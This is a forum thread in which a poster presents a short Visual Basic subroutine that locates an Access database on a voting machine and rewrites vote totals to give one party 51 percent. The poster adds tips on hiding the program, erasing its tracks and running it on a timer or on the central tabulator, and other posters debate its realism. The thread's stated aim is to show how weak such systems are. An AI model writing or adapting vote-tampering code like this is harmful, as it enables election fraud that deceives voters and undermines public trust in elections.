Vote-flipping software would require a computer science guru to write

[boise1]

NOT!

I am not a professional programmer, let alone a guru. The following is a workable subroutine written by me in Visual Basic. It will identify the path of an MS Access database (presumably the only '.mdb' on the machine), open the database, and change the current vote numbers, giving the 'rep's (Republicans) a 51% edge. The functionality of this routine could easily be replicated in any number of scripting languages, or compiled in a Windows IDE such as C++, Java, or Delphi.

It's only meant to show just how little actual programming code is required to locate a database file on a PC, open and update one or more tables, and close it. It assumes the database is not password protected, and guesses at the table/field names such as "vote.rep" (I believe the actual Diebold database structure was available for a time for download). There are obviously several things which a true hacker would add, such as hiding the program from displaying in the Windows taskbar (CTL-ALT-DELETE), and erasing our program's tracks at the end of the voting day.

Oh, and actually counting votes (or ticket sales, or anything) correctly on an Access database?. That would be dirt simple.

*****************************************************************************

Private Sub Vote_Flip()
Dim sql As String
Dim db As DAO.Database
Dim path_mdb As String

‘-----------------------------------------------------------------------------

‘Find out where the Access database is on this machine (assuming there is only one)

path_mdb = Dir(“C:\*.MDB”)

‘-----------------------------------------------------------------------------

‘Here is the SQL “update” to give repubs 51% of the current total:

sql = “UPDATE votes SET votes.rep = (votes.dem + votes.rep) * .51,” _
& “votes.dem = (votes.dem + votes.rep) * .49;”

‘-----------------------------------------------------------------------------

‘Open the database and pass in the update command (assumes no password):

Set db = OpenDatabase(path_mdb, False, False)
db.Execute (sql)
‘-----------------------------------------------------------------------------

‘Close the database object and return the memory to the system:

db.Close
Set db = Nothing

End Sub

[meegbear]

1. VB6 is SOOOOO passe ...

if you're gonna hack, at least do it with .NET

[boise1]

3. I sort of hit a wall with .NET, but I'm giving it another try

They really took the 'basic' part out of Visual Basic..

[meegbear]

5. Think of what would happen when a momma Visual Basic and a poppa Java ...

love each other very very much.

That's VB.NET and C# for that matter. Just added in the flow of Java and gave forms the same distinction as a button or a label.

[mainegreen]

4. .NET? .NOT!

:P

[Systematic Chaos]

2. I can't program my way out of a wet paper bag...

...and yet for what it's worth I understand the gist of that code perfectly!

This (whole message including the preface) should be photocopied and put on the windshield of every damn car in every damn Wal-Mart parking lot in America. Most people won't know what they're looking at but the few who do will really have pause to think.

[Ohio Joe]

6. I don't know that it would be this simple

As I understand it, individual machines tabulate votes and periodically results go to a central server for total calculation. Now, I don't know the design used but if the designer had any idea of what he was doing, the central server would 'pull' the data in for total calculation and not allow update access from individual machines. Of course, that method is not fool proof either but it would go a long way in preventing vote swapping from individual machines.

It is true that is simpler then some would have people believe but it is a bit more complicated then your example.

[boise1]

7. I realize this is an oversimplified example

I'm only trying to demonstrate that the core functionality of finding an Access database, opening it, and changing the data, is a trivial task.

If I'm not mistaken :), each Diebold machine stores its vote counts on a local .mdb which is later uploaded/transferred to the "central tabulator" machine. If so, this code could be programmed to run on that local machine after every 30 minutes, 50 voters, or triggered by an imbalance of votes. It would obviously require a run of this code on most or all local machines to guarantee a 'flipped' total.

Or, the same SQL statement could simply be run one time on the central tabulator after it has completed its (actual) tally.

I agree that the code as posted would not accomplish the task without including a database password (if it exists), and knowing the actual table/field names in the mdb. But I don't think there is anything behind Diebold's system that a reasonably talented 'script kiddie' couldn't hack.